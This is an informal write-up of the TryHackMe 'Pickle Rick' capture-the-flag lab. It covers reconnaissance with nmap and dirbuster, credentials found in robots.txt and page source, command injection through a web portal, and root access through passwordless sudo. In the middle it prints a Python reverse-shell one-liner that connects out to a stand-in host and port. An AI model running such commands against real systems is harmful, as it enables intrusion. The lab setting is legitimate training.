Last updated
Last updated
This Rick and Morty themed challenge requires you to exploit a webserver to find 3 ingredients that will help Rick make his potion to transform himself back into a human from a pickle.
^/ sudo nmap -sC -sV <THM_MACHINE> -oN <saveas> -vv
^/ dirbuster (using GUI) > enter THM_MACHINE > start
Next, from dirbuster I found robots,portal.php and login.php
Try open THM_machine since it have port 80. It show below
Next let see source code if we can find something yummy ...
There nothing much more yummy then username., Now time to moveon,proceed with dirbuster result.
in /robots.txt we found ...
R1ckRul3s : Wubbalubbadubdub
Next proceed to /portal.php
Yeah.. We can login using the credential given.
Since it appear to accept command (CMD) let try simple command.
let try listing ls and use ls *
to list all directory and subdirectory
Let see filter keyword. Let find using this command and open source code.
grep -R " "
But we still can view using less since it not filter.
^/ less Sup3rS3cretPickl3Ingred.txt
Now let move to other flag.
I using basic sudo -l
. and interesting part is, all sudo doesnt need password. Mean we can do all sudo without password. Let find vulnerability to exploit as root.
First make reverse shell and stable it.
^/ export RHOST="MACHINE_IP";export RPORT=8989;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'
python3 -c "import pty;pty.spawn('/bin/bash')" + CNTRL+z + stty raw -echo && fg
Now we get stable connection. Let play around and find flag.
User flag - cd home/username
So we proceed to find another flag. Let try sudo bash
To be note, mostly flag store at /root.
Since we already root, let find Root Flag - cd /root
<coming soon>
Finally Ricky become human again. Thank you for your time.
Always check source code. It might have useful things.
Do check on robots.txt. Sometime it have fruity inside.
Using cmd reverse shell to remote host.
Learn to modify code and make it useful. Always find many way to exploit it.
Next time will provide with patching.(Coming soon)
Start with nmap scan and fuzzing (i love using dirbuster and ffuf ).
> this should be something or maybe password.
Easy machine Try Hack Me